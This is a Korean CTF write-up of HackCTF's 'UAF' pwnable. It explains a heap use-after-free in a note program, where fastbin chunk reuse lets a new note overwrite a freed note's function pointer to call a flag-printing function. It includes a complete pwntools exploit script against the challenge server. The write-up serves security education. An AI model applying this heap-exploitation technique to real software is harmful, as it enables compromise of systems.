본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) UAF Write-up

by snwo 2020. 7. 7.

노트를 만들고 삭제할 수 있다.


void add_note(void)

{
  int iVar1;
  void *pvVar2;
  size_t __size;
  int in_GS_OFFSET;
  int local_20;
  char local_18 [8];
  int local_10;
  
  local_10 = *(int *)(in_GS_OFFSET + 0x14);
  if (count < 6) {
    local_20 = 0;
    while (local_20 < 5) {
      if (*(int *)(notelist + local_20 * 4) == 0) {
        pvVar2 = malloc(8);
        *(void **)(notelist + local_20 * 4) = pvVar2;
        if (*(int *)(notelist + local_20 * 4) == 0) {
          puts("Allocate 에러");
                    /* WARNING: Subroutine does not return */
          exit(-1);
        }
        **(undefined4 **)(notelist + local_20 * 4) = 0x804865b;
        printf("노트 크기 :");
        read(0,local_18,8);
        __size = atoi(local_18);
        iVar1 = *(int *)(notelist + local_20 * 4);
        pvVar2 = malloc(__size);
        *(void **)(iVar1 + 4) = pvVar2;
        if (*(int *)(*(int *)(notelist + local_20 * 4) + 4) == 0) {
          puts("Allocate 에러");
                    /* WARNING: Subroutine does not return */
          exit(-1);
        }
        printf("내용 :");
        read(0,*(void **)(*(int *)(notelist + local_20 * 4) + 4),__size);
        puts("성공!");
        count = count + 1;
        break;
      }
      local_20 = local_20 + 1;
    }
  }
  else {
    puts("Full");
  }
  if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

add_note 함수, notelist[index]malloc(8) 을 하고,

첫번째 4 byte 에는 print_note_content 함수의 주소,

두번째 4 byte 에는 size 를 입력받아 그만큼 할당받는다.

 

notelist[index] -> malloc(8) -> 0x804865b + malloc(size) 

 

void magic(void)

{
  system("cat /home/uaf/flag");
  return;
}

FLAG 를 주는 magic 함수가 있다. 여기로 돌려야할 것 같다.


fastbinLIFO 구조로 마지막으로 free 된 chunk 가 우선으로 재할당될 기회를 가진다.

16바이트짜리 note 를 2개 할당하고

free 한 상태의 힙이다

(pwngdb 의 heapinfo 기능으로 확인)

 

fastbin[0] = malloc(8), notelist[i] 에서 free 된 chunk 들

fastbin[1] = malloc(16), notelist[i]+4 에서 free 된 chunk 들

(index 1 -> index 0 순서로 되어있다.)

 

! ubuntu 18.04 이상에서는 heapinfo 해도 tcache 에 free 되기 때문에

ubuntu 18.04 이하 (ubuntu 16.04) 에서 확인해보자 !

 

예쁘게 해제된것을 볼 수 있다.

 

3번매뉴인 print_note 함수는 notelist[i]+4 를 인자로, notelist[i] (print_note_content) 를 호출하는데,

해제된 noteprint_note 함수를 호출하게되면,

notelist[해제된 인덱스] = 0x00000000 을 호출해 

Segmentation Fault 에러가 나게 된다. 이것이 UAF (Use After Free) 이다.

그렇다면, notelist[0] 자리를 재할당해 데이터영역(print_note_content+malloc(size)magic 함수로 덮어버리자.

 

현재 상황에서 ( 인덱스 0, 1 이 해제된 상황)

새롭게 크기가 8 인 노트를 만들면, fastbin 의 LIFO 구조로 인해 

 

notelist[2] = notelist[1]

notelist[2]+4 = notelist[0] 

 

이렇게 할당이 된다.

이제 내용을 AAAA 로 주면,

notelist[0] 의 데이터영역 ( print_note_content + malloc(16 ) 을 덮을 수 있다.

이제 index 0 의 콘텐츠를 출력하면, 0x804c00a 를 인자로 0x41414141  을 호출하게된다.

 

이론은 여기까지, 익스코드를 짜보자.


[ exploit ]

 

from pwn import *
r=remote("ctf.j0n9hyun.xyz",3020)
#r=process("./uaf")
b=ELF("./uaf")

context.log_level='debug'
def add_note(size,content):
    r.sendafter("입력 :","1")
    r.sendafter("노트 크기 :",size)
    r.sendafter("내용 :",content)
def delete_note(index):
    r.sendafter("입력 :","2")
    r.sendafter("Index ",index)
def print_content(index):
    r.sendafter("입력 :","3")
    r.sendafter("Index :",index)
    
add_note("16","snwo.tistory.com")
add_note("16","github.com/snwox")
delete_note("0")
delete_note("1")

pay=p32(b.symbols['magic'])
add_note("8",pay)
print_content("0")

r.sendline("4") # bye ~~
r.interactive()